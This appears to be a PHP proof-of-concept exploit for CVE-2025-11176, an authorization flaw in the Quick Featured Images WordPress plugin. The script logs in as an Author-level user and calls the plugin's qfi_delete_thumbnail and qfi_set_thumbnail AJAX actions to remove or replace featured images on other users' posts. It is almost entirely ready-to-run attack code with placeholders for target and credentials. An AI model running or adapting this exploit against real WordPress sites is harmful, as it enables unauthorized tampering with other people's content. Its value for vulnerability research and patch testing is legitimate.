<?php
/**
* CVE-2025-11176 PoC - Quick Featured Images IDOR Vulnerability
*
* This PoC demonstrates how an authenticated attacker with Author-level access
* can exploit the missing authorization check in qfi_set_thumbnail and
* qfi_delete_thumbnail AJAX actions to modify or remove featured images
* of other users' posts.
*
* Usage: Replace the placeholders and execute via command line or HTTP client.
*/
// Target WordPress site URL
$target_url = 'https://target-wordpress-site.com';
// Attacker credentials (Author-level or above)
$username = 'attacker_username';
$password = 'attacker_password';
// Target post ID whose featured image we want to modify/delete
$target_post_id = 123;
// Step 1: Authenticate and obtain session cookie
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'wp_cookie_');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to'=> $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$result = curl_exec($ch);
curl_close($ch);
echo "[*] Logged in successfully\n";
// Step 2: Exploit qfi_delete_thumbnail to remove target post's featured image
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'qfi_delete_thumbnail',
'post_id' => $target_post_id, // User-controlled key without validation
'_wpnonce' => 'bypass_or_obtain_nonce' // Nonce may also be weak/missing
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] qfi_delete_thumbnail response (HTTP $http_code): $response\n";
// Step 3: Exploit qfi_set_thumbnail to set attacker's image as featured image
$attacker_image_id = 456; // ID of an image uploaded by the attacker
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'qfi_set_thumbnail',
'post_id' => $target_post_id, // Target post owned by another user
'thumbnail_id'=> $attacker_image_id,
'_wpnonce' => 'bypass_or_obtain_nonce'
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] qfi_set_thumbnail response (HTTP $http_code): $response\n";
// Cleanup
unlink($cookie_file);
echo "[*] Exploit completed. Target post's featured image has been modified/removed.\n";
?>